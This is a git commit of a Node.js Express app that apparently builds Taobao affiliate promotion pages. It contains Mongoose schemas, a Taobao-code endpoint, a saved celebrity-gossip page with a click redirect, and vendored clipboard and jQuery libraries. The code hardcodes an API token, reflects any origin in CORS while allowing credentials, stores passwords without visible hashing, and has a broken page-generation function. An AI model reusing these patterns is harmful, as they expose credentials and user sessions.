Commit 41bb1a4d authored by 刘松's avatar 刘松

init

parents
node_modules
babelCache
draft/
.vscode
*.logs
*.log
.DS_Store
package-lock.json
FROM node:latest
MAINTAINER Tad Wang
ADD . /app
WORKDIR /app
CMD ["npm", "start"]
\ No newline at end of file
var express = require('express');
var path = require('path');
var favicon = require('serve-favicon');
var logger = require('morgan');
var cookieParser = require('cookie-parser');
var bodyParser = require('body-parser');
var config =require('./config/index');
var index = require('./routes/index');
var generator = require('./routes/generator');
var tao = require('./routes/tao');
var mongoose = require('mongoose');
var moment = require('moment');
var app = express();
const options = {
useMongoClient: true
};
global.Promise = mongoose.Promise = require('bluebird');
mongoose.connect(config.mongo, options);
app.use(function(req, res, next) {
res.setHeader('Access-Control-Allow-Origin', req.headers && req.headers.origin ? req.headers.origin : '*');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, PATCH, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'X-Requested-With,content-type');
res.setHeader('Access-Control-Allow-Credentials', true);
if (req.method === 'OPTIONS')
return res.status(200).end();
next();
})
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(logger('dev'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
app.use('/generator', generator);
app.use('/jump', function(req,res,next){
res.render('jump');
});
app.use('/test1', function(req,res,next){
res.render('test');
});
app.use('/tao',tao);
app.get('/code', function(req,res,next){
res.send('var cptext_tkl = "¥qdqE07mYDQa¥";');
});
app.get('/lottery',function(req,res){
var lastLoaded = req.cookies['last-loaded'];
if( lastLoaded && moment(lastLoaded,'x').format('YYYYMMDD') !== moment().format('YYYYMMDD') ){
res.cookie('times',0);
res.clearCookie('prize');
}
res.cookie('last-loaded',new moment().format('x'));
res.render('lottery');
});
// catch 404 and forward to error handler
app.use(function(req, res, next) {
var err = new Error('Not Found');
err.status = 404;
next(err);
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
app.listen(config.port);
console.log('* running, port:', config.port);
console.log('* app env:', app.get('env'));
module.exports = app;
module.exports = {
port:3000,
//mongo:'mongodb://user:password@mongo-gp-content-distribution-1.localhost:1302,mongo-gp-content-distribution-2.localhost:1302,mongo-gp-content-distribution-3.localhost:1302/taoarticle?replicaSet=gp-content-aiweibang',
host:'http://materials.apps.xiaoyun.com',
token:"A284C10255D01C980897737B81B1C0B4",
es:'http://client-stats-es.gclick.cn',
mongo:'mongodb://127.0.0.1:27017/taoarticle'
}
\ No newline at end of file
var request = require('request');
var config = require('../config/index');
function getContentById (id,callback) {
var options = {
method: 'GET',
url: config.host + '/materials/'+id+'/?token='+config.token,
headers: {},
json: true
}
request(options,function(error,r,body){
callback(error,body);
});
}
function logES(data,callback){
var time = (new Date()).getTime();
var options = {
method: 'PUT',
url: config.es + '/page/log/'+time,
headers: {},
body:data,
json: true
}
request(options,function(error,r,body){
callback(error,body);
});
}
module.exports = {
getContentById: getContentById,
logES:logES
}
\ No newline at end of file
var ejs = require('ejs');
var fs = require('fs');
var data = require('./data');
var hash = require('../util/hash');
var content = fs.readFileSync(__dirname+'/../views/template/content.ejs', 'utf-8');
const STATIC_PATH = __dirname + '/../public/html/';
function createHtml (pathFile,template,data,callback) {
template = template || content;
var html = ejs.render(template,data);
console.dir(html);
console.dir(STATIC_PATH + pathFile);
fs.writeFile(STATIC_PATH + pathFile, html, 'utf8', function (err, result) {
callback(null, html);
})
}
function createHtmlById(id,callback){
data.getContentById(id,function(err,result){
if(err) callback(err);
if(result && result['data'] && result['data']['content'] && result['data']['content']['content'])
var path = hash.create(id);
var date = new Date(millis);
//console.dir(date.getFullYear() +'-'+ Date(millis).getUTCMonth()+'-'+Date(millis).getUTCMinutes());
var data = {
title:result['data']['content']['title'],
content:result['data']['content']['content'],
time: millis ? (date.getFullYear() +'-'+ date.getUTCMonth()+'-'+date.getUTCDay()) : ''
}
// console.dir(data);
// console.dir(path);
createHtml(path+'.html',content,data,callback);
});
}
module.exports = {
createHtml : createHtml,
createHtmlById :createHtmlById
}
\ No newline at end of file
const mongoose = require('mongoose');
const {ObjectId} = mongoose.SchemaTypes;
const schema = mongoose.Schema({
user: {
type: String,
unique: true,
required: true
},
password:{
type: String,
required: true
},
role: {
type: String,
required: true
}
}, {
timestamps: true
});
schema.index({user: 1});
module.exports = mongoose.model('tao-agent', schema);
const mongoose = require('mongoose');
const {ObjectId} = mongoose.SchemaTypes;
const schema = mongoose.Schema({
title: {
type: String,
required: true
},
content: {
type: String,
required: true
},
type: {
type: String,
required: false
},
links: {
type: [Object],
default: [],
required: false
}
}, {
timestamps: true
});
schema.index({title: 1});
module.exports = mongoose.model('tao-article', schema);
const mongoose = require('mongoose');
const {ObjectId} = mongoose.SchemaTypes;
const schema = mongoose.Schema({
info: {
type: String,
required: true
},
creater:{
type:ObjectId,
required: false,
ref:'tao-agent'
},
schedule:{
type:ObjectId,
required: true,
ref:'tao-schedule'
},
status:{
type: String,
required: true
},
link:{
type:ObjectId,
required: true,
ref:'tao-link'
}
}, {
timestamps: true
});
schema.index({info: 1,schedule:1,status:1});
module.exports = mongoose.model('tao-kouling', schema);
const mongoose = require('mongoose');
const {ObjectId} = mongoose.SchemaTypes;
const schema = mongoose.Schema({
name: {
type: String,
required: true
},
quan: {
type: String,
required: true
},
good:{
type: String,
required: true
},
pid:{
type: String,
required: true
},
title:{
type: String,
required: true
},
pic:{
type: String,
required: false
},
target:{
type:String,
required:true,
},
qd:{
type:ObjectId,
required:false,
ref:'tao-agent'
},
status:{
type:String,
required:false
}
}, {
timestamps: true
});
schema.index({name: 1});
module.exports = mongoose.model('tao-link', schema);
const mongoose = require('mongoose');
const {ObjectId} = mongoose.SchemaTypes;
const schema = mongoose.Schema({
key: {
type: String,
required: true
},
schedule:{
type:ObjectId,
required: true,
ref:'tao-schedule'
},
link: {
type:ObjectId,
required: true,
ref:'tao-link'
},
times:{
type:Number,
required: true
},
status:{
type:String,
required: false
},
date:{
type:String,
required: true
},
}, {
timestamps: true
});
schema.index({key: 1});
module.exports = mongoose.model('tao-log', schema);
const mongoose = require('mongoose');
const {ObjectId} = mongoose.SchemaTypes;
const schema = mongoose.Schema({
links:[{type: ObjectId, ref: 'tao-link'}],
qd:{
type:ObjectId,
required: true,
ref:'tao-agent'
},
status:{
type: String,
required: true
},
times:{
type:Number,
required: true
}
}, {
timestamps: true
});
schema.index({info: 1});
module.exports = mongoose.model('tao-schedule', schema);
var hash = require('../util/hash');
var config = require('../config/index');
var Agent = require('../lib/tao-agent');
var Kouling = require('../lib/tao-kouling');
var mongoose = require('mongoose');
exports.getKoulings = function(query,cb) {
var koulings = [];
Kouling.find(query).populate('tao-agent').exec(function(err,koulings){
if(err) console.dir(err);
console.dir(koulings);
});
};
exports.saveKouling = async function(data,cb) {
try {
var kouling = new Kouling(data);
cb(null,await kouling.save());
} catch(e){
cb(e);
}
}
exports.saveAgent = async function(data,cb) {
try {
var agent = new Agent(data);
cb(null,await agent.save())
} catch(e){
cb(e);
}
}
exports.findAgent = async function(qs,cb) {
try {
cb(null,await Agent.find(qs))
} catch(e){
cb(e);
}
}
exports.findKouling = async function(qs,cb) {
try {
cb(null,await Kouling.find(qs))
} catch(e){
cb(e);
}
}
\ No newline at end of file
const mongoose = require('mongoose');
const {ObjectId} = mongoose.SchemaTypes;
const schema = mongoose.Schema({
key: {
type: String,
required: true
},
times:{
type:Number,
required: true
}
}, {
timestamps: true
});
schema.index({key: 1});
module.exports = mongoose.model('vishop-log', schema);
{
"name": "page-generator",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node app.js"
},
"dependencies": {
"bluebird": "^3.5.1",
"body-parser": "~1.15.2",
"cookie-parser": "~1.4.3",
"debug": "~2.2.0",
"ejs": "~2.5.2",
"express": "~4.14.0",
"ioredis": "^3.1.1",
"mongoose": "^4.11.10",
"morgan": "~1.7.0",
"request": "^2.81.0",
"serve-favicon": "~2.3.0"
}
}
<!DOCTYPE html>
<!-- saved from url=(0041)https://m.365yg.com/i6404211171246735873/ -->
<html data-dpr="1" style="font-size: 36px;"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>汪峰牵手章子怡喝早茶 情侣装现身高调秀恩爱(图)</title>
<meta name="format-detection" content="telephone=no">
<meta name="description" content=" -西瓜视频">
<meta name="keywords" content="内容站">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no">
<link rel="stylesheet" type="text/css" href="../stylesheets/style.css">
</head>
<body>
<h3>汪峰牵手章子怡喝早茶 情侣装现身高调秀恩爱(图)</h3>
<p style="text-align: center">
<img onclick="window.location.href=getDestUrl(1);" style="cursor:pointer;" alt="汪峰牵手章子怡喝早茶 情侣装现身高调秀恩爱(图)" src="http://img.67.com/upload/images/2013/12/16/bGl0YW8xMzg3MTYzMjcy.jpg" title=""></p><p style="text-align: center">
<span class="keyCon"><em id="key" class="hideTips"><a target="_blank" href="http://so.67.com/index.php?actionKey=search&amp;method=searchResults&amp;kw=汪峰&amp;c=all&amp;p=1&amp;dr=all" title="">搜汪峰</a></em><a class="keyWord" title="汪峰" onmouseover="javascript:openKeyFloat(this);" onmouseout="javascript:closeKeyFloat(this)">汪峰</a></span><span class="keyCon"><em id="key" class="hideTips"><a target="_blank" href="http://star.67.com/388588" title="">章子怡官网</a><a target="_blank" href="http://so.67.com/index.php?actionKey=search&amp;method=searchResults&amp;kw=章子怡&amp;c=all&amp;p=1&amp;dr=all" title="">搜章子怡</a></em><a class="keyWord" title="章子怡" onmouseover="javascript:openKeyFloat(this);" onmouseout="javascript:closeKeyFloat(this)">章子怡</a></span>喝早茶 情侣装十指紧扣</p><p>
  前晚,<span class="keyCon"><em id="key" class="hideTips"><a target="_blank" href="http://so.67.com/index.php?actionKey=search&amp;method=searchResults&amp;kw=汪峰&amp;c=all&amp;p=1&amp;dr=all" title="">搜汪峰</a></em><a class="keyWord" title="汪峰" onmouseover="javascript:openKeyFloat(this);" onmouseout="javascript:closeKeyFloat(this)">汪峰</a></span>登陆珠海体育中心,在瓢泼大雨中,与4万观众分享了摇滚之夜。</p><p>
  近日有媒体报道珠海一名女生突发脑溢血昏迷,由于她是<span class="keyCon"><em id="key" class="hideTips"><a target="_blank" href="http://so.67.com/index.php?actionKey=search&amp;method=searchResults&amp;kw=汪峰&amp;c=all&amp;p=1&amp;dr=all" title="">搜汪峰</a></em><a class="keyWord" title="汪峰" onmouseover="javascript:openKeyFloat(this);" onmouseout="javascript:closeKeyFloat(this)">汪峰</a></span>的铁杆歌迷,所以同学们不断为她合唱《怒放的生命》,结果奇迹出现,女孩睁开双眼。前晚,<span class="keyCon"><em id="key" class="hideTips"><a target="_blank" href="http://so.67.com/index.php?actionKey=search&amp;method=searchResults&amp;kw=汪峰&amp;c=all&amp;p=1&amp;dr=all" title="">搜汪峰</a></em><a class="keyWord" title="汪峰" onmouseover="javascript:openKeyFloat(this);" onmouseout="javascript:closeKeyFloat(this)">汪峰</a></span>也在现场为该女孩送上祝福与鼓励。</p><p>
  之前<span class="keyCon"><em id="key" class="hideTips"><a target="_blank" href="http://so.67.com/index.php?actionKey=search&amp;method=searchResults&amp;kw=汪峰&amp;c=all&amp;p=1&amp;dr=all" title="">搜汪峰</a></em><a class="keyWord" title="汪峰" onmouseover="javascript:openKeyFloat(this);" onmouseout="javascript:closeKeyFloat(this)">汪峰</a></span>的多场<span class="keyCon"><em id="key" class="hideTips"><a target="_blank" href="http://so.67.com/index.php?actionKey=search&amp;method=searchResults&amp;kw=演唱会&amp;c=all&amp;p=1&amp;dr=all" title="">搜演唱会</a></em><a class="keyWord" title="演唱会" onmouseover="javascript:openKeyFloat(this);" onmouseout="javascript:closeKeyFloat(this)">演唱会</a></span><span class="keyCon"><em id="key" class="hideTips"><a target="_blank" href="http://star.67.com/388588" title="">章子怡官网</a><a target="_blank" href="http://so.67.com/index.php?actionKey=search&amp;method=searchResults&amp;kw=章子怡&amp;c=all&amp;p=1&amp;dr=all" title="">搜章子怡</a></em><a class="keyWord" title="章子怡" onmouseover="javascript:openKeyFloat(this);" onmouseout="javascript:closeKeyFloat(this)">章子怡</a></span>都出席捧场。<span class="keyCon"><em id="key" class="hideTips"><a target="_blank" href="http://so.67.com/index.php?actionKey=search&amp;method=searchResults&amp;kw=汪峰&amp;c=all&amp;p=1&amp;dr=all" title="">搜汪峰</a></em><a class="keyWord" title="汪峰" onmouseover="javascript:openKeyFloat(this);" onmouseout="javascript:closeKeyFloat(this)">汪峰</a></span>珠海<span class="keyCon"><em id="key" class="hideTips"><a target="_blank" href="http://so.67.com/index.php?actionKey=search&amp;method=searchResults&amp;kw=演唱会&amp;c=all&amp;p=1&amp;dr=all" title="">搜演唱会</a></em><a class="keyWord" title="演唱会" onmouseover="javascript:openKeyFloat(this);" onmouseout="javascript:closeKeyFloat(this)">演唱会</a></span>后,同样有网友在网上贴出图片爆料,称“峰哥昨晚珠海的<span class="keyCon"><em id="key" class="hideTips"><a target="_blank" href="http://so.67.com/index.php?actionKey=search&amp;method=searchResults&amp;kw=演唱会&amp;c=all&amp;p=1&amp;dr=all" title="">搜演唱会</a></em><a class="keyWord" title="演唱会" onmouseover="javascript:openKeyFloat(this);" onmouseout="javascript:closeKeyFloat(this)">演唱会</a></span>不错,一大早牵着子怡去早茶”并称“不要打扰他们的幸福……祝福!”</p><p style="text-align: right;">(编辑:Luck陶)</p>
</body>
</html>
\ No newline at end of file
This diff is collapsed.
/*!
* clipboard.js v1.5.12
* https://zenorocha.github.io/clipboard.js
*
* Licensed MIT © Zeno Rocha
*/
!function(t){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var e;e="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this,e.Clipboard=t()}}(function(){var t,e,n;return function t(e,n,o){function i(a,c){if(!n[a]){if(!e[a]){var s="function"==typeof require&&require;if(!c&&s)return s(a,!0);if(r)return r(a,!0);var l=new Error("Cannot find module '"+a+"'");throw l.code="MODULE_NOT_FOUND",l}var u=n[a]={exports:{}};e[a][0].call(u.exports,function(t){var n=e[a][1][t];return i(n?n:t)},u,u.exports,t,e,n,o)}return n[a].exports}for(var r="function"==typeof require&&require,a=0;a<o.length;a++)i(o[a]);return i}({1:[function(t,e,n){var o=t("matches-selector");e.exports=function(t,e,n){for(var i=n?t:t.parentNode;i&&i!==document;){if(o(i,e))return i;i=i.parentNode}}},{"matches-selector":5}],2:[function(t,e,n){function o(t,e,n,o,r){var a=i.apply(this,arguments);return t.addEventListener(n,a,r),{destroy:function(){t.removeEventListener(n,a,r)}}}function i(t,e,n,o){return function(n){n.delegateTarget=r(n.target,e,!0),n.delegateTarget&&o.call(t,n)}}var r=t("closest");e.exports=o},{closest:1}],3:[function(t,e,n){n.node=function(t){return void 0!==t&&t instanceof HTMLElement&&1===t.nodeType},n.nodeList=function(t){var e=Object.prototype.toString.call(t);return void 0!==t&&("[object NodeList]"===e||"[object HTMLCollection]"===e)&&"length"in t&&(0===t.length||n.node(t[0]))},n.string=function(t){return"string"==typeof t||t instanceof String},n.fn=function(t){var e=Object.prototype.toString.call(t);return"[object Function]"===e}},{}],4:[function(t,e,n){function o(t,e,n){if(!t&&!e&&!n)throw new Error("Missing required arguments");if(!c.string(e))throw new TypeError("Second argument must be a String");if(!c.fn(n))throw new TypeError("Third argument must be a Function");if(c.node(t))return i(t,e,n);if(c.nodeList(t))return r(t,e,n);if(c.string(t))return a(t,e,n);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList")}function i(t,e,n){return t.addEventListener(e,n),{destroy:function(){t.removeEventListener(e,n)}}}function r(t,e,n){return Array.prototype.forEach.call(t,function(t){t.addEventListener(e,n)}),{destroy:function(){Array.prototype.forEach.call(t,function(t){t.removeEventListener(e,n)})}}}function a(t,e,n){return s(document.body,t,e,n)}var c=t("./is"),s=t("delegate");e.exports=o},{"./is":3,delegate:2}],5:[function(t,e,n){function o(t,e){if(r)return r.call(t,e);for(var n=t.parentNode.querySelectorAll(e),o=0;o<n.length;++o)if(n[o]==t)return!0;return!1}var i=Element.prototype,r=i.matchesSelector||i.webkitMatchesSelector||i.mozMatchesSelector||i.msMatchesSelector||i.oMatchesSelector;e.exports=o},{}],6:[function(t,e,n){function o(t){var e;if("INPUT"===t.nodeName||"TEXTAREA"===t.nodeName)t.focus(),t.setSelectionRange(0,t.value.length),e=t.value;else{t.hasAttribute("contenteditable")&&t.focus();var n=window.getSelection(),o=document.createRange();o.selectNodeContents(t),n.removeAllRanges(),n.addRange(o),e=n.toString()}return e}e.exports=o},{}],7:[function(t,e,n){function o(){}o.prototype={on:function(t,e,n){var o=this.e||(this.e={});return(o[t]||(o[t]=[])).push({fn:e,ctx:n}),this},once:function(t,e,n){function o(){i.off(t,o),e.apply(n,arguments)}var i=this;return o._=e,this.on(t,o,n)},emit:function(t){var e=[].slice.call(arguments,1),n=((this.e||(this.e={}))[t]||[]).slice(),o=0,i=n.length;for(o;i>o;o++)n[o].fn.apply(n[o].ctx,e);return this},off:function(t,e){var n=this.e||(this.e={}),o=n[t],i=[];if(o&&e)for(var r=0,a=o.length;a>r;r++)o[r].fn!==e&&o[r].fn._!==e&&i.push(o[r]);return i.length?n[t]=i:delete n[t],this}},e.exports=o},{}],8:[function(e,n,o){!function(i,r){if("function"==typeof t&&t.amd)t(["module","select"],r);else if("undefined"!=typeof o)r(n,e("select"));else{var a={exports:{}};r(a,i.select),i.clipboardAction=a.exports}}(this,function(t,e){"use strict";function n(t){return t&&t.__esModule?t:{"default":t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}var i=n(e),r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol?"symbol":typeof t},a=function(){function t(t,e){for(var n=0;n<e.length;n++){var o=e[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(t,o.key,o)}}return function(e,n,o){return n&&t(e.prototype,n),o&&t(e,o),e}}(),c=function(){function t(e){o(this,t),this.resolveOptions(e),this.initSelection()}return t.prototype.resolveOptions=function t(){var e=arguments.length<=0||void 0===arguments[0]?{}:arguments[0];this.action=e.action,this.emitter=e.emitter,this.target=e.target,this.text=e.text,this.trigger=e.trigger,this.selectedText=""},t.prototype.initSelection=function t(){this.text?this.selectFake():this.target&&this.selectTarget()},t.prototype.selectFake=function t(){var e=this,n="rtl"==document.documentElement.getAttribute("dir");this.removeFake(),this.fakeHandlerCallback=function(){return e.removeFake()},this.fakeHandler=document.body.addEventListener("click",this.fakeHandlerCallback)||!0,this.fakeElem=document.createElement("textarea"),this.fakeElem.style.fontSize="12pt",this.fakeElem.style.border="0",this.fakeElem.style.padding="0",this.fakeElem.style.margin="0",this.fakeElem.style.position="absolute",this.fakeElem.style[n?"right":"left"]="-9999px",this.fakeElem.style.top=(window.pageYOffset||document.documentElement.scrollTop)+"px",this.fakeElem.setAttribute("readonly",""),this.fakeElem.value=this.text,document.body.appendChild(this.fakeElem),this.selectedText=(0,i.default)(this.fakeElem),this.copyText()},t.prototype.removeFake=function t(){this.fakeHandler&&(document.body.removeEventListener("click",this.fakeHandlerCallback),this.fakeHandler=null,this.fakeHandlerCallback=null),this.fakeElem&&(document.body.removeChild(this.fakeElem),this.fakeElem=null)},t.prototype.selectTarget=function t(){this.selectedText=(0,i.default)(this.target),this.copyText()},t.prototype.copyText=function t(){var e=void 0;try{e=document.execCommand(this.action)}catch(n){e=!1}this.handleResult(e)},t.prototype.handleResult=function t(e){e?this.emitter.emit("success",{action:this.action,text:this.selectedText,trigger:this.trigger,clearSelection:this.clearSelection.bind(this)}):this.emitter.emit("error",{action:this.action,trigger:this.trigger,clearSelection:this.clearSelection.bind(this)})},t.prototype.clearSelection=function t(){this.target&&this.target.blur(),window.getSelection().removeAllRanges()},t.prototype.destroy=function t(){this.removeFake()},a(t,[{key:"action",set:function t(){var e=arguments.length<=0||void 0===arguments[0]?"copy":arguments[0];if(this._action=e,"copy"!==this._action&&"cut"!==this._action)throw new Error('Invalid "action" value, use either "copy" or "cut"')},get:function t(){return this._action}},{key:"target",set:function t(e){if(void 0!==e){if(!e||"object"!==("undefined"==typeof e?"undefined":r(e))||1!==e.nodeType)throw new Error('Invalid "target" value, use a valid Element');if("copy"===this.action&&e.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if("cut"===this.action&&(e.hasAttribute("readonly")||e.hasAttribute("disabled")))throw new Error('Invalid "target" attribute. You can\'t cut text from elements with "readonly" or "disabled" attributes');this._target=e}},get:function t(){return this._target}}]),t}();t.exports=c})},{select:6}],9:[function(e,n,o){!function(i,r){if("function"==typeof t&&t.amd)t(["module","./clipboard-action","tiny-emitter","good-listener"],r);else if("undefined"!=typeof o)r(n,e("./clipboard-action"),e("tiny-emitter"),e("good-listener"));else{var a={exports:{}};r(a,i.clipboardAction,i.tinyEmitter,i.goodListener),i.clipboard=a.exports}}(this,function(t,e,n,o){"use strict";function i(t){return t&&t.__esModule?t:{"default":t}}function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function a(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function c(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function s(t,e){var n="data-clipboard-"+t;if(e.hasAttribute(n))return e.getAttribute(n)}var l=i(e),u=i(n),f=i(o),d=function(t){function e(n,o){r(this,e);var i=a(this,t.call(this));return i.resolveOptions(o),i.listenClick(n),i}return c(e,t),e.prototype.resolveOptions=function t(){var e=arguments.length<=0||void 0===arguments[0]?{}:arguments[0];this.action="function"==typeof e.action?e.action:this.defaultAction,this.target="function"==typeof e.target?e.target:this.defaultTarget,this.text="function"==typeof e.text?e.text:this.defaultText},e.prototype.listenClick=function t(e){var n=this;this.listener=(0,f.default)(e,"click",function(t){return n.onClick(t)})},e.prototype.onClick=function t(e){var n=e.delegateTarget||e.currentTarget;this.clipboardAction&&(this.clipboardAction=null),this.clipboardAction=new l.default({action:this.action(n),target:this.target(n),text:this.text(n),trigger:n,emitter:this})},e.prototype.defaultAction=function t(e){return s("action",e)},e.prototype.defaultTarget=function t(e){var n=s("target",e);return n?document.querySelector(n):void 0},e.prototype.defaultText=function t(e){return s("text",e)},e.prototype.destroy=function t(){this.listener.destroy(),this.clipboardAction&&(this.clipboardAction.destroy(),this.clipboardAction=null)},e}(u.default);t.exports=d})},{"./clipboard-action":8,"good-listener":4,"tiny-emitter":7}]},{},[9])(9)});
(function(factory){if(typeof define==='function'&&define.amd){define(['jquery'],factory)}else if(typeof exports==='object'){factory(require('jquery'))}else{factory(jQuery)}}(function($){var pluses=/\+/g;function encode(s){return config.raw?s:encodeURIComponent(s)}function decode(s){return config.raw?s:decodeURIComponent(s)}function stringifyCookieValue(value){return encode(config.json?JSON.stringify(value):String(value))}function parseCookieValue(s){if(s.indexOf('"')===0){s=s.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,'\\')}try{s=decodeURIComponent(s.replace(pluses,' '));return config.json?JSON.parse(s):s}catch(e){}}function read(s,converter){var value=config.raw?s:parseCookieValue(s);return $.isFunction(converter)?converter(value):value}var config=$.cookie=function(key,value,options){if(value!==undefined&&!$.isFunction(value)){options=$.extend({},config.defaults,options);if(typeof options.expires==='number'){var days=options.expires,t=options.expires=new Date();t.setTime(+t+days*864e+5)}return(document.cookie=[encode(key),'=',stringifyCookieValue(value),options.expires?'; expires='+options.expires.toUTCString():'',options.path?'; path='+options.path:'',options.domain?'; domain='+options.domain:'',options.secure?'; secure':''].join(''))}var result=key?undefined:{};var cookies=document.cookie?document.cookie.split('; '):[];for(var i=0,l=cookies.length;i<l;i++){var parts=cookies[i].split('=');var name=decode(parts.shift());var cookie=parts.join('=');if(key&&key===name){result=read(cookie,value);break}if(!key&&(cookie=read(cookie))!==undefined){result[name]=cookie}}return result};config.defaults={};$.removeCookie=function(key,options){if($.cookie(key)===undefined){return false}$.cookie(key,'',$.extend({},options,{expires:-1}));return!$.cookie(key)}}));
\ No newline at end of file
This diff is collapsed.
/*
* jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
*
* Uses the built in easing capabilities added In jQuery 1.1
* to offer multiple easing options
*
* TERMS OF USE - EASING EQUATIONS
*
* Open source under the BSD License.
*
* Copyright © 2001 Robert Penner
* All rights reserved.
*
* TERMS OF USE - jQuery Easing
*
* Open source under the BSD License.
*
* Copyright © 2008 George McGinley Smith
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* Neither the name of the author nor the names of contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,f,a,h,g){return jQuery.easing[jQuery.easing.def](e,f,a,h,g)},easeInQuad:function(e,f,a,h,g){return h*(f/=g)*f+a},easeOutQuad:function(e,f,a,h,g){return -h*(f/=g)*(f-2)+a},easeInOutQuad:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f+a}return -h/2*((--f)*(f-2)-1)+a},easeInCubic:function(e,f,a,h,g){return h*(f/=g)*f*f+a},easeOutCubic:function(e,f,a,h,g){return h*((f=f/g-1)*f*f+1)+a},easeInOutCubic:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f+a}return h/2*((f-=2)*f*f+2)+a},easeInQuart:function(e,f,a,h,g){return h*(f/=g)*f*f*f+a},easeOutQuart:function(e,f,a,h,g){return -h*((f=f/g-1)*f*f*f-1)+a},easeInOutQuart:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f+a}return -h/2*((f-=2)*f*f*f-2)+a},easeInQuint:function(e,f,a,h,g){return h*(f/=g)*f*f*f*f+a},easeOutQuint:function(e,f,a,h,g){return h*((f=f/g-1)*f*f*f*f+1)+a},easeInOutQuint:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f*f+a}return h/2*((f-=2)*f*f*f*f+2)+a},easeInSine:function(e,f,a,h,g){return -h*Math.cos(f/g*(Math.PI/2))+h+a},easeOutSine:function(e,f,a,h,g){return h*Math.sin(f/g*(Math.PI/2))+a},easeInOutSine:function(e,f,a,h,g){return -h/2*(Math.cos(Math.PI*f/g)-1)+a},easeInExpo:function(e,f,a,h,g){return(f==0)?a:h*Math.pow(2,10*(f/g-1))+a},easeOutExpo:function(e,f,a,h,g){return(f==g)?a+h:h*(-Math.pow(2,-10*f/g)+1)+a},easeInOutExpo:function(e,f,a,h,g){if(f==0){return a}if(f==g){return a+h}if((f/=g/2)<1){return h/2*Math.pow(2,10*(f-1))+a}return h/2*(-Math.pow(2,-10*--f)+2)+a},easeInCirc:function(e,f,a,h,g){return -h*(Math.sqrt(1-(f/=g)*f)-1)+a},easeOutCirc:function(e,f,a,h,g){return h*Math.sqrt(1-(f=f/g-1)*f)+a},easeInOutCirc:function(e,f,a,h,g){if((f/=g/2)<1){return -h/2*(Math.sqrt(1-f*f)-1)+a}return h/2*(Math.sqrt(1-(f-=2)*f)+1)+a},easeInElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}return -(g*Math.pow(2,10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j))+e},easeOutElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}return 